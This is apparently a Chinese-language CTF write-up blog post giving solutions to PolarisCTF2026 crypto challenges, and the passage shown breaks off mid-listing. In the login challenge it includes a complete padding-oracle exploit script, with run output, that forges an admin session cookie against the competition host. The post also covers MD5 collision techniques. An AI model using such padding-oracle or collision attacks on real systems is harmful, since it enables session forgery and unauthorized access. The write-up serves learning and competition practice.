Misay's blog

PolarisCTF2026

发表于 更新于 分类于
本文字数： 31k
PolarisCTF2026 Crypto 全题解及复现

Above

很好的比赛 感谢出题人师傅们的题目😋

本场比赛的exp归档 从这里精彩的命题工作 也让人逐渐思考如何去在Agent时代下 出一道还能让人学到东西的Crypto赛题

  • 跨方向的交叉 Wispher-Line
  • 更加需要观察力 启发性的赛题构造 Wispher-Line & 神秘学
  • 更长的代码量审计 ez_random

的确也感觉 LLM的不断强大 打比赛 做归档会越来越简单 但是解出赛题的反馈也越来越低了…

为了追求效率 Repo里面的源码解析基本都是LLM写的 但是我还是希望在可能被读到的博客上 用点我自己的理解向你来传达我解题时候的思考 工作 乃至写Prompt的思路等等 希望能帮到你 希望你看它感觉有趣

Login

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from flask import Flask, request, make_response, render_template, redirect, url_for, abort
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os

app = Flask(__name__)
KEY = os.getenv("SECRET_KEY", os.urandom(16))
ADMIN_PASS = os.getenv("ADMIN_PASS", "admin123")
FLAG = os.getenv("FLAG", "XMCTF{xxxxxx}")

# 初始数据，禁止注册 admin
USERS = {"admin": ADMIN_PASS}

def get_session_data(token_hex):
    if not token_hex: return None
    data = bytes.fromhex(token_hex)
    iv, ct = data[:16], data[16:]
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(ct)
    print(decrypted)
    return unpad(decrypted, 16).decode(errors='ignore')

def create_session(username):
    iv = os.urandom(16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    msg = f"user={username}".encode()
    ct = cipher.encrypt(pad(msg, 16))
    return (iv + ct).hex()

@app.route('/')
def index():
    token = request.cookies.get('session')
    if not token:
        return redirect(url_for('login_page'))
    
    try:
        msg = get_session_data(token)
        if not msg or not msg.startswith("user="):
            return redirect(url_for('login_page'))
        
        username = msg[5:]
    except:
        abort(500, description="Invalid Session")
    
    return render_template('index.html', username=username, flag=FLAG if username == "admin" else None)

@app.route('/login', methods=['GET', 'POST'])
def login_page():
    if request.method == 'GET':
        return render_template('login.html')
    
    user = request.form.get('username')
    pw = request.form.get('password')
    
    if USERS.get(user) == pw:
        resp = make_response(redirect(url_for('index')))
        resp.set_cookie('session', create_session(user))
        return resp
    return "Invalid username or password", 403

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

似乎是非预期

1
2
3
4
5
ADMIN_PASS = os.getenv("ADMIN_PASS", "admin123")
FLAG = os.getenv("FLAG", "XMCTF{xxxxxx}")

# 初始数据，禁止注册 admin
USERS = {"admin": ADMIN_PASS}

远程似乎没有设置这个变量 这里直接用admin123登录就可以了

审计了一下预期 关注这里的

1
2
3
4
5
6
7
8
def get_session_data(token_hex):
    if not token_hex: return None
    data = bytes.fromhex(token_hex)
    iv, ct = data[:16], data[16:]
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(ct)
    print(decrypted)
    return unpad(decrypted, 16).decode(errors='ignore')

token是用户可以自行构造输入的 但是靶机直接拿他来进行解密了 那么可自己去构造特殊的token

利用AES unpad末尾字节和长度的关系 可实现中间态的逐字节恢复

  1. 固定一个目标密文块
  2. 可控它前一块 ，或者首块时可控 IV
  3. 因为
  4. 不断修改 的最后一个字节，直到 unpad 成功
  5. 一旦成功，说明最后一字节已经变成合法 padding，比如 0x01
  6. 于是可以推出 该字节的值
  7. 再继续做倒数第二字节，让末尾变成 0x02 0x02
  8. 一直倒推完整个块 拿到
  9. 再构造 伪造admin token

预期Oracle打法exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import os
import sys
import time
from typing import Optional

import requests


BASE_URL = "http://nc1.ctfplus.cn:19585"
BLOCK_SIZE = 16
TARGET_PLAIN = b"user=admin" + bytes([6]) * 6


class PaddingOracleExploit:
    def __init__(self, base_url: str):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.query_count = 0

    def oracle(self, iv: bytes, block: bytes) -> bool:
        token = (iv + block).hex()
        last_error = None
        for _ in range(3):
            try:
                self.query_count += 1
                response = self.session.get(
                    f"{self.base_url}/",
                    cookies={"session": token},
                    allow_redirects=False,
                    timeout=10,
                )
                return response.status_code != 500
            except requests.RequestException as exc:
                last_error = exc
                time.sleep(0.2)
        raise RuntimeError(f"oracle request failed: {last_error}")

    def recover_intermediate(self, block: bytes) -> bytes:
        crafted = bytearray(os.urandom(BLOCK_SIZE))
        intermediate = [0] * BLOCK_SIZE

        for pad in range(1, BLOCK_SIZE + 1):
            index = BLOCK_SIZE - pad

            for j in range(index + 1, BLOCK_SIZE):
                crafted[j] = intermediate[j] ^ pad

            found: Optional[int] = None
            for guess in range(256):
                crafted[index] = guess
                if not self.oracle(bytes(crafted), block):
                    continue

                # Filter the common false positive on the last byte by
                # perturbing another byte and re-checking the padding.
                if pad == 1 and index > 0:
                    crafted[index - 1] ^= 1
                    still_valid = self.oracle(bytes(crafted), block)
                    crafted[index - 1] ^= 1
                    if not still_valid:
                        continue

                intermediate[index] = guess ^ pad
                found = guess
                print(f"[+] byte {index:02d} recovered: {intermediate[index]:02x}", flush=True)
                break

            if found is None:
                raise RuntimeError(f"failed to recover byte {index}")

        return bytes(intermediate)

    def forge_admin_cookie(self) -> str:
        block = os.urandom(BLOCK_SIZE)
        print(f"[*] chosen ciphertext block: {block.hex()}", flush=True)
        intermediate = self.recover_intermediate(block)
        print(f"[*] intermediate D(C1): {intermediate.hex()}", flush=True)
        iv = bytes(a ^ b for a, b in zip(intermediate, TARGET_PLAIN))
        return (iv + block).hex()

    def fetch_flag(self, token_hex: str) -> str:
        response = self.session.get(
            f"{self.base_url}/",
            cookies={"session": token_hex},
            allow_redirects=True,
            timeout=10,
        )
        response.raise_for_status()
        return response.text


def main():
    base_url = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
    exploit = PaddingOracleExploit(base_url)
    token_hex = exploit.forge_admin_cookie()
    print(f"[+] forged cookie: {token_hex}", flush=True)
    print(f"[*] oracle queries: {exploit.query_count}", flush=True)
    print("[*] fetching admin page", flush=True)
    print(exploit.fetch_flag(token_hex))


if __name__ == "__main__":
    main()

'''
[*] chosen ciphertext block: 18ffd224c88cd347ea10c22077e21f0e
[+] byte 15 recovered: 7f
[+] byte 14 recovered: 7d
[+] byte 13 recovered: 16
[+] byte 12 recovered: 3a
[+] byte 11 recovered: c4
[+] byte 10 recovered: 37
[+] byte 09 recovered: 3a
[+] byte 08 recovered: 56
[+] byte 07 recovered: 90
[+] byte 06 recovered: 60
[+] byte 05 recovered: a9
[+] byte 04 recovered: 89
[+] byte 03 recovered: cf
[+] byte 02 recovered: 8f
[+] byte 01 recovered: 6f
[+] byte 00 recovered: 39
[*] intermediate D(C1): 396f8fcf89a96090563a37c43a167d7f
[+] forged cookie: 4c1ceabdb4c804fd3f5431c23c107b7918ffd224c88cd347ea10c22077e21f0e
[*] oracle queries: 1764
[*] fetching admin page
<!DOCTYPE html>
...
    <div class="container">
        <div class="card">
            <h1>你好, <span>admin</span>!</h1>


                <div class="flag-box">
                    <strong>🎉 权限验证成功：</strong><br>
                    xmctf{2710a6ca-4b4a-4b19-95aa-29ff386574cf}
...
'''

ECC

task.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from Crypto.Util.number import *
from secrets import flag

p = 9259018534502783714631247560818133078409930397939705162361230465031580254504264713899169170790687716589100652406132800533397486109926387016562663961524649
a = 0
b = 6235467631650349040636525320446729529985562949423449382969614887116983248527693872546808737512375916974084741892428681798937790855872528526403738040908493
c = 4165903654767429195543540819098180314477702137507994424192636596518008877139978822038616746899053449640020812062736993008962585578921635697413459959685760
d = 1889382340373247565387211782596794283852946561870564309251998196824383297786878212641581641540685106266683503654620956037368416192796434147249748216284648
e = 3015564788819504594313842562882781366361783108618226049128986996153057550014499326419988348165744003693083108924831219996703133056523468396967900376388617


def add(P1, P2):
    if P1 is None:
        return P2

    x1, y1 = P1
    x2, y2 = P2

    l = (y2 - y1) * pow(x2 - x1, -1, p) % p
    x3 = (l**2 + a * l - b - x1 - x2) % p
    y3 = (l * (x1 - x3) - y1 - a * x3 - c) % p
    return (x3, y3)


def double(P):
    if P is None:
        return None

    x, y = P

    denom = (2 * y + a * x + c) % p
    num = (3 * x**2 + 2 * b * x + d - a * y) % p
    l = (num * pow(denom, -1, p)) % p
    x3 = (l**2 + a * l - b - 2 * x) % p
    y3 = (l * (x - x3) - y - a * x3 - c) % p
    return (x3, y3)


def mul(k, P):
    Q = None
    while k:
        if k & 1:
            Q = add(Q, P)
        P = double(P)
        k >>= 1
    return Q


m = bytes_to_long(flag)
G = (1244884551970947614719458919805713649754289814760243366205012699871413235954279930743612403791919112394457579170253990713250052822262255880036254772609156, 4579639528751113977115209571728128585569082149696598770106934145500742785077382446292613925719404433141749168427443122707253164477493499731016883616496009)
P = mul(m, G)
print(P)

# (9039120379228240875764080238389949393433230267005269099421166553853462484353350917730468887801035670710981414900285176863179650428412616144755102163764906, 6266065680737729548475090556806928225106996606788926050268440244885398464756877886842570309216095272026404453765198968208595242208306240371310555394416694)

给出了一个曲线

1
2
3
4
5
6
7
8
9
10
11
def add(P1, P2):
    l = (y2 - y1) * pow(x2 - x1, -1, p) % p
    x3 = (l**2 + a * l - b - x1 - x2) % p
    y3 = (l * (x1 - x3) - y1 - a * x3 - c) % p

def double(P):
    denom = (2 * y + a * x + c) % p
    num = (3 * x**2 + 2 * b * x + d - a * y) % p
    l = (num * pow(denom, -1, p)) % p
    x3 = (l**2 + a * l - b - 2 * x) % p
    y3 = (l * (x - x3) - y - a * x3 - c) % p

对应方程 然后需要解ECDLP 实际上把曲线的运算代码喂给LLM 让它审计曲线的性质 它会做变形

发现是可以因式分解为 从而可换元得到 拷打了一下LLM 给出了这种曲线的处理手法

做换元

故而 此时曲线上的任何一个点 都可以表达为单参数 的简单式子 再去代入点加的方程

椭圆曲线的加法定义为 显式设出来直线 代入式子 整理 由三次方程韦达定理 必定有 和这边的点加公式是完全一个代数结构的 也就是说 我们把的坐标代入的运算 实现了把DLP映射到一个简洁的加法

这题就这样处理了 主要关系还是还原后的方程 失去了低次项的扰动 太过规整 可直接整理出强代数性质

神秘学

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import sympy
import random
from Crypto.Util.number import *
from secret import flag, c

def get_poly(k):
    x,a,b = sympy.symbols('x a b')

    poly = x**3 - a * x**2 + b * x - c-k*n
    deriv1 = sympy.diff(poly, x)

    a1 = random.randint(2**119,2**120)
    b1 = random.randint(2**119,2**120)
    x1 = random.randint(2**510,2**511)

    deriv1_num = deriv1.subs({
        x: x1,
        a: a1,
        b: b1
    })
    return x1,deriv1_num

def RSA():
    p = getPrime(512)
    q = getPrime(512)
    n = p * q
    k = getPrime(8)
    m = bytes_to_long(flag)
    e = inverse(c,(p-1)*(q-1))
    cipher = pow(m,e,n)
    return n,k,cipher

if __name__ == '__main__':

    n,k,cipher = RSA()
    x1, deriv1_num = get_poly(k)
    print('n =',n)
    print('x1 =',x1)
    print('cipher =',cipher)
    print('deriv1_num =',deriv1_num)

'''
n = 63407394080105297388278430339692150920405158535377818019441803333853224630295862056336407010055412087494487003367799443217769754070745006473326062662322624498633283896600769211094059989665020951007831936771352988585565884180663310304029530702695576386164726400928158921458173971287469220518032325956366276127
x1 = 3481408902400626584294863390184557833125008467348169645656825368985677578418186933223051810792813745190000132321911937970968840332589150965113386330575858
deriv1_num = 36360623837143006554133449776905822223850034204333042340303731846698251185379183585401025894584873826284649058526470710038176516677326058549625930550928515944115160614909195746688504416967586844354012895944251800672195553936202084073217078119494546421088598245791873936703883718926122761577400400368341859847
cipher = 17359360992646515022812225990358117265652240629363564764503325024700251560440679272576574598620940996876220276588413345495658258508097150181947839726337961689195064024953824539654084620226127592330054674517861032601638881355220119605821814412919221685287567648072575917662044603845424779210032794782725398473
'''

这题防LLM做的其实是很好的 大部分的Agent都会认为不可解

因为给出多项式 求导后 插值 与完全无关 就认为不可解了 但是不太准确 类比三次函数拐点/零点重合的情况 可假设导函数的零点和原函数的零点重合 确实能解出flag 图像如下

简要思路就是爆破 利用和的数量级差异 恢复 再假设零点关系 恢复解密RSA

相关的原理可以等其他师傅的分析来看看为什么能够这样

sda

task.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from sage.all import *
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from secret import flag,x1,x2,x3,y,z1,z2,z3,alpha
import hashlib

A1 = 234110215243875326749544596075512335544257
B1 = 68765596672109672407420253033782942222910  
A2 = 636185906634748653451789798738597280632127
B2 = 131860738134887128678021271054606611917493 
A3 = 905712574946398586494048707872100065355613
B3 = 197958111431918701470218006359610095848736

As = [A1, A2, A3]    
Bs = [B1, B2, B3]    
xs = [x1, x2, x3]
zs = [z1, z2, z3]
A = max(As)          

k = 3    
delta = (k * (2 * alpha - 1)) / (2 * (k + 1))

for i in range(k):
    Ai = As[i]
    pi, qi = factor(Ai)[0][0], factor(Ai)[1][0]  
    z_abs_bound = ((pi - qi) / (3 * (pi + qi))) * (y**2) * (Ai**(1/4))
    assert xs[i]**2 < A**delta
    assert y**2 < A**delta
    assert Bs[i] * xs[i]**2 - y**2 * euler_phi(Ai) == zs[i]
    assert abs(zs[i]) < z_abs_bound

key_material_int = y**2 + x1**2 * x2**2 * x3**2
key_material_bytes = long_to_bytes(key_material_int)
aes_key = hashlib.sha256(key_material_bytes).digest()[:16]

cipher = AES.new(aes_key, AES.MODE_CBC)
iv = cipher.iv
ciphertext = cipher.encrypt(pad(flag, AES.block_size))

print(iv.hex() + ciphertext.hex())
"""
93192f46a00b2dade984ca758706b00681263a8536d8051aff0206d257ce4c2aad6bc017138d4c7aeaed5c8fc2c1ea2f3cec3fbd9201bb5844fa8143d6630944
"""

给出了三组参数 以及约束 其中 相关参数为

要求恢复计算AES密钥 给出的是可以很轻松分解的 从而也可以直接计算 随后可以做换元配平参数次数

令 得到 我们有4组未知数 和扰动量 这里的线性也很强 自然想到走格 看看变量大小

的上界明确给出 稍微估算一下 这个是确定的常数界 注意到分式几乎齐次 那么的数量级就基本上是 这里的系数足够小 相对模数 那么我们就可以尝试利用线性做格 配平的影响

其实Prompt按照这边给 告诉LLM 用格来打的小就可以自己调出来这个SVP格了🥲 但我们还是脑一下为什么可以这样打

首先按照前面的思路 我们希望的目标向量是

但是的数量级不知道的 我们补上一个未知 但是确实可以求的参数 来配平数量级

这个目标向量是均匀的

因为那么代入未知参数 以第一个式子为例子 再代回目标向量 得到 到这一步 再看格子 就很自然了 格完取第一条向量的最后一个元素 可以拿到 然后利用已有的代数近似值来估计 再回代求 验证一下误差关系 然后解密AES就解决了

LLM真的不擅长格吗 很难说 最起码最近用Agent打的比赛调通格子比调通一些对称成功率高很多了 很多时候你告诉他有flatter可以用 要打哪些变量的SVP 确实相关的执行力都超级强 顺带一提AliyunCTF2026的那道Griffin uuid格确实可能很需要一些人工的Trick优化 可以参考ZJUCTF2025 Wuy4n的题

truck

非常简洁的一道哈希题

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from hashlib import md5
from secret import flag

_H = lambda m: md5(m).digest()

S = set()

for _ in range(10):
    A, B, C = bytes.fromhex(input('A > ')), bytes.fromhex(input('B > ')), bytes.fromhex(input('C > '))
    ha, hb, hc = _H(A), _H(B), _H(C)
    assert ha == hb == hc

    D, E, F = bytes.fromhex(input('D > ')), bytes.fromhex(input('E > ')), bytes.fromhex(input('F > '))
    hd, he, hf = _H(ha + D), _H(hb + E), _H(hc + F)
    assert hd == he == hf

    G, H, I = bytes.fromhex(input('G > ')), bytes.fromhex(input('H > ')), bytes.fromhex(input('I > '))
    assert _H(hd + G) == _H(he + H) == _H(hf + I)

    cur = (A, B, C, D, E, F, G, H, I)
    assert len(set(cur)) == 9
    assert not any(x in S for x in cur) 
    S.update(cur)

print(f'good: {flag}')

三层验证

  1. 输入 A, B, C，要求： md5(A) = md5(B) = md5(C)
  2. 输入 D, E, F，要求： md5(md5(A) || D) = md5(md5(B) || E) = md5(md5(C) || F)
  3. 输入 G, H, I，要求： md5(hd || G) = md5(he || H) = md5(hf || I)

询问LLM后发现md5存在一个很经典的同前缀碰撞 简要分析就是

MD5 采用的是一种叫做 Merkle-Damgård (MD) 结构的设计。 这种结构的核心思想是“分块处理”和“状态传递”：

  • 它会将输入的消息分成固定大小的块（Block）
  • 它维护一个内部状态（State），初始为一个固定的初始化向量（IV）
  • 它用一个压缩函数（Compression Function），将“当前块”和“当前状态”混合，生成“下一个状态”
  • 最后一个状态就是最终的哈希值

只要在某个中间步骤，两个不同消息的内部状态变得完全一样了，那么后续无论给它们追加什么相同的数据，它们的最终哈希值都会保持一致

由此可以用 fastcoll 工具 对md5进行攻击 快速实现对于任何前缀 找到两块不同的 满足

这样就可以快速的通过第一次校验

关于后续的情景构造 参考 Joux’s Multicollision 并没有很多工程上的复杂性 我们从中知道 多次fastcoll得到的碰撞的复杂度 和寻找一次fastcoll的复杂度没有数量级的差别 这就允许我们

  • 先用 fastcoll 生成 和 ，使得
  • 再把作为新的前缀，再跑一次 fastcoll，生成 和 ，使得

得到以下碰撞

所以说 对于第一层 令 为"" 走fascoll 可以得到 A B C三个后缀 都满足 md5(A)==md5(B)==md5(C)==h0

然后对于第二层 由于md5(A)==md5(B)==md5(C)==h0 令前缀为 h0 然后fastcoll 找出D E F 其他同上

第三层也是完全一样的

RSA_LCG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from Crypto.Util.number import getPrime, bytes_to_long
import random
import os
import signal

FLAG = os.environ.get("FLAG", "XMCTF{test_flag_misay}")
secret = os.urandom(64)

e = 263
bit_length = 1024


def get_rsa_params():
    p = getPrime(bit_length)
    q = getPrime(bit_length)
    N = p * q
    return N


class RSA_LCG:
    def __init__(self, seed, a, b, N):
        self.seed = seed
        self.a = a
        self.b = b
        self.N = N
        self.e = e

    def leak_params(self):

        diff = (self.b - self.a) % self.N
        leak_diff_e = pow(diff, self.e, self.N)

        return  self.a, leak_diff_e


    def next(self):

        self.seed = (self.a * self.seed + self.b) % self.N

        return pow(self.seed, self.e, self.N)


def challenge():

    N = get_rsa_params()

    seed = bytes_to_long(secret)
    assert seed < N

    a = random.getrandbits(bit_length)
    b = random.getrandbits(bit_length)

    rsa_lcg = RSA_LCG(seed, a, b, N)

    print(f"N = {N}")
    print(f"e = {e}")
    print("-" * 30)


    leak = rsa_lcg.leak_params()
    print(f"[+] leak: {leak}")


    out1 = rsa_lcg.next()
    print(f"[+] Output 1: {out1}")

    out2 = rsa_lcg.next()
    print(f"[+] Output 2: {out2}")


if __name__ == "__main__":
    challenge()
    signal.alarm(4)
    guess_hex = input("secret (hex): ").strip()
    guess = bytes.fromhex(guess_hex)
    if guess == secret:
        print(f"Good! Here is your flag: {FLAG}")

一道经过修改的LCG题

代数结构梳理

先生成64bytes的LCG seed 然后构造LCG实例 用RSA的方式给出LCG的两次递推输出 这里的问题在于是不可分解的强合数 故而LCG的线性输出会被模幂进行混淆

然后看向题目给出的hint 可以换元 令 然后代入已知的式子

相关信息攻击？

其实都是关于的单自由变量 然后是未知变量 和一个位置 那么可以把系统视为双未知变量的相关系统 类比RSA的相关信息攻击

整理一下 令

如果令未知量

则可以写出一个二元多项式系统：

我们要恢复 和 ，再逆推出

和关于有公共根 但是有额外变量的干扰 但是我们发现 和对于也有公共根 那么可以尝试关于 对做结式

那么就退化为关于的单元多项式 这个时候再与做结式就可以恢复的非平凡根了

优化一下

但是本题的为 如果强行对进行结式 相关系数矩阵 以及最后结式的维度会膨胀到 再取gcd做 完全无法在4秒内跑通 此时关于这个点 询问LLM后给出了一个很棒的优化思路

我们最终求的根实际上是求 由辗转相除的性质

那么 本质上只需求 再做gcd也能得到我们想要的结果

也就是说完全没有必要展开到69169维的完整结式 而可以利用相关多项式的对称性进行插值来还原我们希望的余数多项式

LLM给出了具体的优化思路

注意到多项式实际上也很特殊 再做结式 我们的目标结式可以看成关于 也就是 的单变量函数 接下来LLM的关于扩域等的说明感觉不讲人话 以我的理解就是

现在有两个多项式

注意到联立这两个约束系统 那么 和本质等价 我们看向 如果所有的的次幂都能被常数替换就好了 实际上的确可以 但是以一个更直观的视角

对于这个等式 这下子关于 就都是以上的次幂了 完全可以用的幂次代替 那么消元好 剩下来关于的幂次很高 但是都可以换元 有 太棒了我们得到了一个关于的263次多项式 那直接插值就好了 这一步就可以做了

恢复一个 那么再由退化的和做GCD即可恢复

本题给的时间线很死 用cpp来写插值和gcd的部分 勉强卡进了4s界限

Ocean

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from Crypto.Util.number import getRandomNBitInteger
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import md5
import signal
import os

FLAG = os.getenv("FLAG", "xmctf{fake_flag}")
class MLFSR:
    def __init__(self, n, seed, mask, lfsr=None):
        self.state = [int(b) for b in f"{seed:0{n}b}"]
        self.mask_bits = [int(b) for b in f"{mask:0{n}b}"]
        self.n = n
        self.lfsr = lfsr

    def update(self):
        s = sum([self.state[i] * self.mask_bits[i] for i in range(self.n)]) & 1
        self.state = self.state[1:] + [s]

    def __call__(self):
        if self.lfsr:
            if self.lfsr():
                self.update()
            return self.state[-1]
        else:
            self.update()
            return self.state[-1]


class LFSR(MLFSR):
    def __init__(self, n, seed, mask):
        super().__init__(n, seed, mask, lfsr=None)


signal.alarm(60)

secret = f'fakeflag{{{os.urandom(16).hex()}}}'

n = 64
seed = getRandomNBitInteger(n)
mask1, mask2 = getRandomNBitInteger(n), getRandomNBitInteger(n)
lfsr1 = LFSR(n, seed, mask1)
lfsr2 = MLFSR(n, seed, mask2, lfsr1)
print(f"mask1 = {mask1}")
print(f"mask2 = {mask2}")
print(f"output = {sum(lfsr2() << (n - 1 - i) for i in range(n))}")
print(f"enc = {AES.new(key=md5(str(seed).encode()).digest(), mode=AES.MODE_ECB).encrypt(pad(secret.encode(), 16)).hex()}")

if input('> ') == secret:
    print('🤭:', FLAG)

系统总览

一道基于停走计时器设计的双LFSR

  • LFSR1是正常的线性反馈 更新移位

  • LFSR2每轮都要根据LFSR1来确认自己的行为

    • 如果LFSR1本轮输出1 那么LFSR2也按照正常行为更新一次
    • 如果LFSR1本轮输出0 那么LFSR2停滞一轮

两个LFSR共用一个seed 靶机返回LFSR2的64位输出 要恢复seed解密secret

有点束手无策的 毕竟两个LFSR的状态迁移要通过output确定关系 但是这个线性没有那么好观测 我们比较宏观的看一下这个系统

所有的行为实际上都只由64位的seed决定 而我们已知反馈多项式 和最终的64位输出 也就是说未知量和已知量是配平的 考虑到我们假设一个seed 就能完整的模拟整个系统的行为 不难让人联想到符号执行

代数结构分析

LFSR在上可以看成关于初始向量seed的线性变换 由于反馈多项式mask是已知的 那么转移矩阵可以直接写出 也就是LFSR的每一步都可以看成 的矩阵乘法

但可惜我们观测的是LFSR2 而不是1 我们无法直接确认每一轮的转移情况

但是对于LFSR2的输出 如果我们观察到相邻的两位不一样（比如 ，但 ）说明LFSR2肯定更新了状态

从这里可以推断 LFSR1在这轮必定输出了 这直接对应到矩阵里某一行的乘法结果

那么，然后呢？

没错 LLM就做到这一步了 这就是它核心的约束思路 它关于这个约束建立了DFS 并且用上了许多剪枝和效率的优化 强行搜索求解了seed 一股非预期的感觉啊🫠

优化细节

翻转剪枝

也就是前文提到的 Output的比特翻转可以明确确定LFSR1在此处的输出为1 是最强的一层约束

区间限制

有点反直觉 但是output里面实际上连续的01块是很多的 类似

1
11111011111111011010110100000111011100000001001010001110110110

因此观测的时候 对于某个长度确定的chunk 我们如果按位猜测LFSR1的状态 那么猜测复杂度是 L是chunk长度

但是如果我们猜测的是chunk内 LFSR1产生1的个数 那么猜测复杂度只有 直接数量级的优化了

然后梳理一下能有哪些约束优化

  • 开局必须翻转 作为一个chunk的开始
  • 末尾计算结果必须与下一个chunk的比特值正确对应
  • 由output 可以明确确定一个chunk内LFSR1输出1的个数为 设未知位个数为
    • 此时猜测复杂度退化为
    • 存在与两个极值情况

上述的猜测可以构造一个搜索树 然后直接用LFSR2的输出来剪枝

线性结构不变

对于一个chunk 即使我们确定了 但是仍然会有 种排列能够满足相关约束 但是由于LFSR的性质 相关对应比特位的异或性质还是满足的

比如假设确定后 都是满足条件的 那么始终都会满足 与 从这里又建立了约束

代码中就是每次猜测剪枝约束完后 把 压入约束系统

利用了LFSR对于奇偶性质 以及相关线性关系的混淆其实比较弱

前缀约束

LFSR的状态是存在严格的前后状态转移约束的 对于已经确定的比特 再给约束系统加入 防止搜索过深

题目本身的验证解

DFS加上以上约束 当剪枝到所求个数到能够接受的范围内 就枚举所有可能的seed 拿来解密enc 观察能否得到有格式的 fakeflag{hex}验证解的正确

具体的wp可以去repo看 但是感觉LLM写的话人也看不懂 这道题解决的还是太粗暴了 想看看其他师傅有没有更优雅的解法 相关prompt可以围绕如何建立线性约束 如何缩小候选来多次向LLM提问来尝试逐步深入思路 同时几乎所有的搜索都得用cpp完成 来保证时间够用

ez_random

这次最喜欢的一道赛题 源码有三个部分

task.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import patcher
from sage.all import *
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.Util.Padding import pad
from secret import SEED , flag

ROUNDS = 40
N_BITS = 988
N_PAIRS = 37
N = 2**31 - 1
get_limit =  lambda i:  N - (1 * N // 3) * (1 - 0**(i == 10))



for i in range(ROUNDS):
    t = input('🤔 Please give me an option > ')

    if t == '1':
        set_random_seed(int.from_bytes(SEED, 'big'))

        pairs = [(getrandbits(N_BITS), random_prime(get_limit(_))) for _ in range(1, N_PAIRS)]

        key0, key1 = map(list, zip(*pairs))


        shuffle(key0)
        print(f"Key Part A: {key0}")

        key1_list0 = [x[0] for x in key1]
        key1_list1 = [x[1] for x in key1]

        print(f"Key Part B{0}: {key1_list0}")
        print(f"Key Part B{1}: {key1_list1}")


    elif t == '2':
        set_random_seed(int.from_bytes(SEED, 'big'))

        for k in range(1, N_PAIRS):
            random_prime(int(input(f'😋 Give me the {k}th number: ')) ^ (getrandbits(N_BITS) ^ get_limit(k)))

        print("👏 Let's get the flag")
        SHA = SHA256.new()
        SHA.update(str(getrandbits(256)).encode())
        KEY = SHA.digest()
        cipher = AES.new(KEY, AES.MODE_ECB)
        flag = pad(flag.encode(), AES.block_size)
        print("Flag:", cipher.encrypt(flag))

    else:
        print("❌ Invalid input!")
        break

patcher.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import sys
import importlib.util
import os
import sage.all


LOCAL_SOURCE_FILE = "local_misc.py"
TARGET_MODULE_NAME = "sage.arith.misc"


def replace_entire_module():
    spec = importlib.util.spec_from_file_location(TARGET_MODULE_NAME, LOCAL_SOURCE_FILE)
    local_module = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(local_module)

    sys.modules[TARGET_MODULE_NAME] = local_module


    current_globals = globals()

    for attr_name in dir(local_module):
        if attr_name.startswith("_"):
            continue

        new_obj = getattr(local_module, attr_name)

        if hasattr(sage.all, attr_name):
            setattr(sage.all, attr_name, new_obj)
        current_globals[attr_name] = new_obj

    return local_module


replace_entire_module()

local_misc.py 太长了 放repo上了

结构梳理

先梳理一下项目结构 关键是task , patcher主要调用了魔改的random库 local_misc来给task使用

梳理一下task的逻辑

总共有40轮交互机会

  • 交互选1 使用SEED起一个随机流 然后生成36组数据 也就是 这里魔改的random_prime会返回，即最终命中的素数和命中前的尝试次数 但是32个块是经过shuffle的
  • 交互选2 使用SEED起一个一样的随机流 然后进行36次请求 输入 进行 然后用随机流生成256bits的随机数 AES加密flag给你

交互逻辑理清楚了 随机流只与SEED相关 很清楚 要从两组交互中收集到足够多 关于随机流的信息 实现重放 来得到AES的key

魔改

local_misc中 关键魔改在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
